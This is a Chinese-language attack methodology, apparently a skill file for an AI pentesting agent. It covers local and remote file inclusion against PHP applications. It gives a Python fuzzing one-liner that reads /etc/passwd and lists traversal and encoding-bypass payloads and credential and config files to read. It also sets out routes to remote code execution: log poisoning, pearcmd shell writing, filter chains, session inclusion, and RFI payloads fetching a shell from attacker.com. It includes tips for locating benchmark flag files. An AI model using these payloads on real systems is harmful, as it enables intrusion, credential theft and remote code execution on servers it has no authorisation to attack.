lfi-rfi-methodology
DevOps & Security本地文件包含(LFI)/远程文件包含(RFI)/任意文件读取的检测和利用。当目标有文件包含参数(page/file/include/lang)、PHP应用、日志文件可写时使用。包含file_exists()陷阱、PHP include()语法错误诊断、日志投毒正确payload、pearcmd.php利用、PHP filter chain RCE、session文件包含条件竞争
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文件包含漏洞方法论 (LFI/RFI)
⛔ 深入参考(确认 LFI 后必读)
- 日志投毒完整步骤、PHP Wrapper、Session 文件包含、include() 陷阱诊断 → references/lfi-to-rce.md
- pearcmd.php 利用、PHP Filter Chain RCE、Session 条件竞争 → 同在 references/lfi-to-rce.md
- LFI 到 RCE 提权路径详解 → references/lfi2rce-techniques.md
⛔ Phase 0: 页面发现(LFI 测试的前提!)
在测试 LFI 之前必须先找全所有可访问页面。
- 用
ffuf/spray扫描.php/.html;失败时立即降级用 python3 requests 批量测试:
private.php, admin.php, secret.php, flag.php, test.php, debug.php, panel.php, dashboard.php,
upload.php, api.php, config.php, backup.php, shell.php, cmd.php, exec.php, portal.php,
manage.php, internal.php, hidden.php, restricted.php, secure.php, system.php, info.php,
phpinfo.php, setup.php, install.php, download.php, view.php, file.php, read.php, include.php
- 记录所有返回 200 且非空的页面 → 这些才是 LFI 测试目标
Phase 1: 发现文件包含点
⛔ 退出条件:某端点测试 3+ 个参数均无响应差异(长度差 < 10 字节)→ 标记"无 LFI" → 换端点
⛔ 参数 Fuzz(一步到位,禁止逐个手动测试!)
用 Python 批量测试所有常见参数(3 轮以上还在枚举参数 = 违规):
python3 -c "import requests;[print(f'FOUND: {p}?{param}') for p in ['private.php','index.php','page.php','view.php','file.php','read.php'] for param in ['file','page','path','include','doc','template','lang','module','view','load'] if 'root:' in requests.get(f'http://TARGET/{p}?{param}=../../../etc/passwd',timeout=3).text]"
- ffuf 做参数 Fuzz 时:wordlist 必须用
Web/CTF/Fuzz_param.txt(不是目录字典!) - 不能只测 file 参数:id 参数也可能存在 LFI
- URL 编码绕过:
..%2f、%2e%2e%2f绕过路径过滤
常见参数名: file, page, path, include, doc, template, lang, module, action, view
测试向量:
?file=../../../etc/passwd
?file=../../../etc/passwd%00 (PHP < 5.3.4)
?file=..%252f..%252fetc%252fpasswd (双编码)
验证方法: 对比有参数和无参数的响应长度/内容,有差异 = 参数有效
Phase 2: 路径穿越测试
逐步增加 ../ 层数(通常4-7层到根目录):
?file=../../../../etc/passwd
Phase 3: 关键文件读取
⛔ Dockerfile/源码优先路径规则
当已获取 Dockerfile 或应用源码时:
- 提取
WORKDIR值(如/var/www/html/) - 提取 flag 文件名(如
xbow-flag.txt) - 拼接 WORKDIR + filename 作为第一优先读取路径(如
/var/www/html/xbow-flag.txt) - ⛔ 禁止跳过已知路径去盲猜
/app/flag.txt/flag等
Linux: /etc/passwd, /proc/self/environ, /var/log/apache2/access.log
Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config
Web应用: config.php, .env, wp-config.php
源码: php://filter/convert.base64-encode/resource=index
PHP 文件包含陷阱
- 直接 include .php 文件不会显示源码,只执行代码
- 需要用
php://filter/convert.base64-encode/resource=xxx读取 PHP 源码
Phase 4: LFI → RCE 决策树
⛔ 日志投毒优先触发条件:当任务描述/题目名包含 poison、log、日志 关键字时,跳过 wrapper 尝试,直接进入日志投毒流程!
LFI 确认
│ ├─ ⛔ 题目含 "poison"/"log" 关键字?→ 直接日志投毒(跳过 Phase 3 后半段)
│ ├─ 目标是 PHP + include()?
│ │ ├─ pearcmd.php 存在?→ pearcmd 写 shell(最快,不依赖日志/session)
│ │ ├─ file_exists() 不检查?→ php://input / data:// wrapper
│ │ ├─ file_exists() 检查?→ wrapper 不可用!用日志投毒或 PHP filter chain
│ │ ├─ 有 session 功能?→ Session 文件包含(将 PHP 代码注入 session 如用户名字段,包含 session 文件执行)
│ ├─ 日志投毒(最通用)
│ │ ├─ User-Agent 注入 PHP 代码
│ │ ├─ ⚠️ 绝对不用 system('cat /file.php')!用 file_get_contents() + echo
│ │ └─ 包含 /var/log/apache2/access.log 触发
│ ├─ PHP Filter Chain RCE(无需文件写入/日志/session)
│ │ └─ 用 php_filter_chain_generator.py 生成 chain
│ └─ 详细步骤 → [references/lfi-to-rce.md](references/lfi-to-rce.md)
Phase 5: RFI 测试
?file=http://attacker.com/shell.txt (需 allow_url_include=On) | ?file=\\attacker.com\share\shell.php (SMB/UNC)
注意事项
- include() 会执行 PHP,file_get_contents() 读原始文本 — 关键区别
- LFI 比 RFI 更常见(RFI 需 PHP 配置允许)| HTTP 200 + Content-Length: 0 → PHP 语法错误被吞